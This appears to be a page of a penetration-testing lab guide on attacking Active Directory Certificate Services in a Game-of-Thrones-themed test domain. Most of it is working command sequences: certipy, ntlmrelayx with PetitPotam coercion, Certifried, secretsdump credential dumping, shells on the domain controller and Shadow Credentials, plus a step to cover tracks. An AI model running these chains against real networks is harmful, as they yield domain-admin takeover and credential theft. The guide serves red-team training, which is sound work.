Skip to content

5

Active Directory Certificate Services

Active Directory Certificate Services (AD CS) plays a crucial role in managing and issuing digital certificates within an organization. AD CS supports several HTTP-based enrollment methods through additional server roles that can be installed. These methods include the certificate enrollment web interface, certificate enrollment service (CES), certificate enrollment policy (CEP) web service, and network device enrollment service (NDES).

We will be demonstrating the attacks from the awesome research presented in 2021 by the specterops team. Encouraged Reading

ADCS Recon

My favorite tool for enumerating & exploiting ADCS from Linux is Oliver Lyak's certipy. He built a custom BloodHound GUI which focuses on the ADCS exploitations from the Certified-PreOwned whitepaper. If you want to use this fork of BloodHound you can get the modified version here. The certipy tool is built to utilize this fork. You can read more about his custom BloodHound implementation here

Tip

If you wish to continue utilizing the version you probably already have installed, use the -old-bloodhound switch during your enumerations. Otherwise, the output files from the certipy tool will not import correctly. You can have both versions installed side by side, which I personally recommend.

We can use certipy to gather data about ADCS present in the Domain.

certipy find
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.10.12
certipy enum

Then we can use the tool to search for vulnerable configurations. Of which there are many.

certipy -vulnerable
certipy find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.10.12 -stdout
certipy vuln Although this raw output is great for finding vulnerabilities, the importation into the modified BloodHound GUI is even better.
sudo neo4j start
./BloodHound --no-sandbox --disable-dev-shm-usage
After importing the .zip file generated with certipy, we can use the built-into the fork's ADCS specific queries.
Get Overview of Enabled Templates
# click PKI  --> Find certificate authority and select it, then click "see enabled templates" 
enabled-templates

Coerce to Domain Admin (ESC8)

This vulnerabiliy is known as NTLM Relay to AD CS HTTP Endpoints, often referred to as ESC8. The Vulnerability: HTTP-based certificate enrollment interfaces are vulnerable to NTLM relay attacks. NTLM relay allows an attacker to impersonate a victim user who authenticates using NTLM. By exploiting this vulnerability, an attacker gains unauthorized access to the web interfaces and can request a client authentication certificate using User or Machine certificate templates.

The Attack Scenario: To execute an NTLM relay attack, the attacker requires a victim account to authenticate to a machine controlled by the attacker. Coercing authentication can be achieved through various means, such as exploiting the MS-RPRN coerced authentication feature using tools like SpoolSample or Dementor. Once authenticated, the attacker leverages NTLM relay to impersonate the victim machine account and request a client authentication certificate.

Checking ADCS web enrollment

/certsrv/certfnsh.asp
http://192.168.10.23/certsrv/certfnsh.asp
web enrollment endpoint

ntlmrelayx SMB auth to HTTP

First we need to set up our relay on our attacker machine, targeting the DomainController template.

ntlmrelayx --adcs
ntlmrelayx.py -t http://192.168.10.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

unauthenticated petitpotam

Next, we download and utilize the PetitPotam expoloit which is a tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions. We will run this in a second terminal window.

PetitPotam execution
# https://github.com/topotam/PetitPotam.git
petitpotam.py 10.10.10.6 meereen.essos.local
After running the exploit, we see that the meereen machine reached out to our ntlmrelayx server and we were successful in capturing the Base64 certificate. petitpotam

getting a tgt

We can copy this Base64 certificate blob, remove the newline chars and then ask for a TGT using it with gettgtpkinit.py which is in the PKINITools github repo.

Asking for TGT
gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'
gettgtkinit.py

secretsdump as meereen$

Last thing to do is export the meereen.ccache file to our KRB5CCNAME environment variable and secretsdump the DC.

export KRB5CCNAME=./meereen.ccache
secretsdump.py -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

secretsdump

ESC8 using certipy

My favorite tool for exploiting ADCS from Linux is Oliver Lyak's certipy This tool allows us to enumerate vulnerable certificates in the AD environment in addition to automating the attack we just performed.

Certipy has its own listener, so lets kick it off.

setup certipy listener
certipy relay -ca 192.168.10.23 -template DomainController

We will initiate the coerced authentication as we did before with Petitpotam in a second window.

petitpotam.py 10.10.10.6 meereen.essos.local
certipy-esc8

Armed with this meereen.pfx file we can get use with certipy to obtain the NT hash of the Domain Controller and obtain a TGT for further explotation.

presenting certificate and priv key
certipy auth -pfx meereen.pfx -dc-ip 192.168.10.12
certipy auth

Next we can performa a DCSync by presenting either the NT hash of the DC or exporting the TGT we received.

DCSync as meereen$
# export KRB5CCNAME=./meeren.ccache
# secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local


secretsdump.py -hashes ':a39001b0166b63ac57126491ab9053d3' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
secretsdump2

ESC 1

Request a certificate from a vulnerable template

esc1 To successfully exploit ESC1 we need to supply certipy tool with the target (ca server), the template (the vulnerable template) and the upn (the target user we want to impersonate)

ESC1 with Certipy
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
req cert

Now we can pass certipy the adminstrator's pfx file and auth to the Domain Controller as the administrator!

certipy auth
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
certipy auth

ESC 2 & 3

Use an enrollment agent to request a certificate

“ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates.” -Certified Pre-Owned whitepaper

Lets hunt for ESC2 possibilites. The output from certipy shows that the requirements necessary for the aptly named ESC2 template meet our requirements for exploitation. Of course we could just look in BloodHound to find the ESC2 vulnerable templates as well. esc2

First we need to query the certificate.

certipy req
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC2 -ca ESSOS-CA
esc2 Now we can query the certificate with the Certificate Request Agent certificate we recieved above with -pfx.
query on behalf of
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
esc2 onbehalfof admin Finally, we can authenticate as the administrator with the administrator.pfx file we generated with the last command.
authentication as the administrator to the dc
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
esc2 admin

We can perform the same style attack on the ESC3 & ESC3-CRA templates like so:

certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.10.12

ESC 4

Write privilege over a certificate template.

With write priviledges over a certificate template, we can turn it into a vulnerable ESC1 style template and then exploit it.

First, lets save the vulnerable template so that we can modify it and eventually return it to the pre-exploitation configuration. Note: We are using the daenerys.targaryen DA account hash that we pulled early in this example as a proof of concept since she has write priviledges over the template.

Moding vuln template

saving and modifying the vulnerable template
certipy template -u DAENERYS.TARGARYEN@essos.local -hashes '34534854d33b398b66684072224bb47a' -template ESC4 -save-old -debug
esc4

ESC6 > ESC1

Now we can utilize the ESC1 attack chain on our modified ESC4 template with any old domain user.

ESC1 after modifying ESC4 configured template
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local
esc4 Present the administrator.pfx for authentication to the dc.
presenting admin pfx to DC
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
esc4-auth After compromising the DC, we should rollback the template to its original configuration that we backed up as the ESC4.json file in the first step of the attack chain.
rolling back the cert template
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
esc4-rollback

ESC 6

Abusing SAN

“ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration.” - certipy documentation The ESSOS-CA is vulnerable to ESC6 because it allows for User Specified SANs. We will do the ESC1 style attack but this time using the user template instead of the ESC1 one. This works even if the user template has Enrollee Supplies Subject set to False.

ESC6 via user template
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template user -ca ESSOS-CA -upn administrator@essos.local
esc6
admin authentication
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
esc6-admin

Note: ESC6 was patched in May 2022, but can still be exploited if an ESC10 (Weak Certificate Mappings)vulnerability is present.

Certifried

CVE-2022-26923

The creator of certipy discovered this CVE, which is a privilege escalation exploit that involves changing the dnsHostName property of a created computer. The technique is similar to the samAccountName vulnerability. Further reading can be found on Oliver's blog

Faking user & dns

To exploit this we will start by using a normal unprivileged domain user and set a fake dns name as the DC.

setting fake dns name
certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'
certifried

Requesting cert

Then we will request a certificate with our created computer using the machine template.

certification request
certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine

Authing as DC

certifried-req Now we can authenticate as the meereen domain controller.

authentication as meeren
certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.10.12
certifried-auth

Secretsdump ntds

With the DC's ticket, we can dump the ntds and grab any account's credentials.

secretsdump meereen$
export KRB5CCNAME=./meereen.ccache
secretsdump.py -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
secretsdump

Lastly, we need to erase the created computer and cover our tracks.

erasing our fake computer object
certipy account delete -u daenerys.targaryen@essos.local -hashes 'aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a' -user 'certifriedpc'
certfried cleanup

WMI Shell on DC

We could also obtain a shell on the DC using @shutdown's modified impacket that we built earlier on lab guide pg 4. This is useful in situations where AV products are killing secretsdump.

S4U2self with getST.py
kali@kali:~/tools/myimpacket/myimpacket/bin$ ./getST.py -self -impersonate 'administrator' -altservice 'CIFS/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen$'
getST.py

Now we can use the administrator TGT with wmiexec.py

shell on DC
export KRB5CCNAME=./administrator@CIFS_meereen.essos.local@ESSOS.LOCAL.ccache
wmiexec.py -k @meereen.essos.local
wmiexec.py

Winrm on DC

Alternatively, we can specify the alternate service as HTTP instead of the CIFS and use winrm to get a shell on the DC that way.

altservice HTTP for winrm
./getST.py -self -impersonate 'administrator' -altservice 'HTTP/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen$'

export KRB5CCNAME=./administrator@HTTP_meereen.essos.local@ESSOS.LOCAL.ccache
evil-winrm -i meereen.essos.local -r ESSOS.LOCAL
winrm tgt evil-winrm

Shadow Credentials

"It is possible to add “Key Credentials” to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT." -Elad Shamir This attack leverages GenericAll or GenericWrite privilege on an AD object to set up the msDS-KeyCredentialLink attribute. Further reading here

In Bloodhound we can see that khal.drogo has write privileges on viserys.targaryen. bh

We can perform the Shadow Creds attack with pyWhisker or certipy.

With Certipy

ShadowCredentials with Certipy
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
shadowcreds certipy

With pyWhisker

Using pyWhisker to do the same thing, is a bit more manual and requires PKINItools.

check msDS-KeyCredentialLink
python3 pywhisker.py -d "essos.local" -u "khal.drogo" -p "horse" --target "viserys.targaryen" --action "list"
pywhisker

setting a new attribute and getting pfx
python3 pywhisker.py -d "essos.local" -u "khal.drogo" -p "horse" --target "viserys.targaryen" --action "add"
pywhisker-add

confirm creation
pywhisker.py -d "essos.local" -u "khal.drogo" -p "horse" --target "viserys.targaryen" --action "list"
pywhisker-list

generate ccache with gettgtpkinit.py
python3 ~/tools/PKINITtools/gettgtpkinit.py -cert-pfx 95GiTuXf.pfx -pfx-pass EDBkFXcwc5VtWHnux6xK essos.local/viserys.targaryen viserys.ccache
pywhisker-ccache

getnthash with the key and ticket
export KRB5CCNAME=./viserys.ccache

python3 ~/tools/PKINITtools/getnthash.py -key 64b0a07819cab24cdd45b5581144f81cd3fa341384b84da810ad09c5639d1b29 essos.local/viserys.targaryen
pywhisker-nthash

Next: Exploitation of MSSQL